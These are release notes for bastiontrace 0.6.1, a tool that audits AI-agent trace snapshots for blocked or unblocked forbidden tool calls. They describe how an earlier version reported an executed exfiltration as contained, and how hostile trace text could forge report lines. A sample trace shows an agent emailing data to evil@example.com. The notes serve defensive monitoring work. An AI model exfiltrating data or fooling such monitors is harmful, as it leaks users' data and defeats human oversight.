Skip to content

bastiontrace 0.6.1: a fuse trip no longer masks an earlier unblocked landing

Latest

Choose a tag to compare

@Rinkia Rinkia released this 09 Oct 13:10
4f29dce

Security fixes from an independent review of 0.6.0.

If you analyze bastionfuse trip snapshots, upgrade. 0.6.0 can report a real, unblocked
exfiltration as contained.

A fuse trip no longer masks an earlier unblocked landing

0.6.0 treated a fuse trip as the landing without comparing event order, so a forbidden call that
actually executed before the trip was hidden, and the report claimed containment for it:

#1  tool_call 'send_email' args={'to': 'evil@example.com'}   <- no verdict: it executed
#2  tool_call 'read'       verdict=tripped                   <- harmless, tripped the fuse

0.6.0:  [LANDED] (contained: the fuse blocked the call)   landing: #2
        ... and #1 is not marked at all

An analyst reads "contained" and closes the incident. No attacker is required — any
exfiltration that succeeded before a later trip hit this on honest traces.

A fuse blocks the call it trips on and vouches for nothing it allowed earlier. Earliest-wins now
holds across all three landing kinds, contained is claimed only for the landing the fuse
actually blocked, and a later trip is reported as a note:

0.6.1:  [LANDED]   landing: #1 - called forbidden tool 'send_email'
        note   : the fuse tripped later, at #2 (honeytoken #dead in the input of 'read');
                 it did not block this landing

The report can no longer be forged by trace content

A trace is attacker-influenceable input: everything in it is content an agent read. A fuse
reason containing a newline could print its own note : / blast : lines and emit real
terminal escape sequences (clear-screen, set-window-title). Every attacker-influenceable string
the human report prints now goes through one escaper that makes control characters visible and
caps length — including the pre-0.6.0 paths: tool_result content, agent names, source, notes
and args. --format json was never affected.

Honest verdicts on malformed and hostile traces

  • A fuse block with no call marked tripped was silently CLEAN — the same false-clean class
    0.6.0 set out to fix. A snapshot exists only because a tripwire fired, so an unlocatable trip
    (truncated or evicted ring) now reports ATTEMPTED with Finding.fuse_unresolved and a note.
  • Hostile header values raise ValueError naming the field, as the schema contract promised:
    non-object policy (was AttributeError), non-list or nested forbidden_tools /
    canary_tokens (was an unnamed TypeError), non-string canary / trace_id / source, and
    lone surrogates, which survive JSON parsing and then crash printing. A string
    forbidden_tools is refused instead of being split into single-character tool names, which had
    silently made a real landing read as CLEAN.
  • The CLI exits 2 for bad input, never a traceback. Exit 1 means LANDED, so a crash can
    never be mistaken for a finding — which matters because analyze is used as a CI gate.

Honest wording

The containment line now reads "the trace's fuse block records this call as blocked". The block is
a field in a file, and whoever wrote the file wrote it; nothing here verifies it, and snapshots
carry no signature. The README gains a Trusting a trace section stating what an analysis does
and does not prove.

Printing is also O(n) again rather than O(n²) on large traces.

123 tests, 97% coverage. Both original repros verified fixed, and a live bastionfuse honeytoken
trip still scores correctly.

pip install -U bastiontrace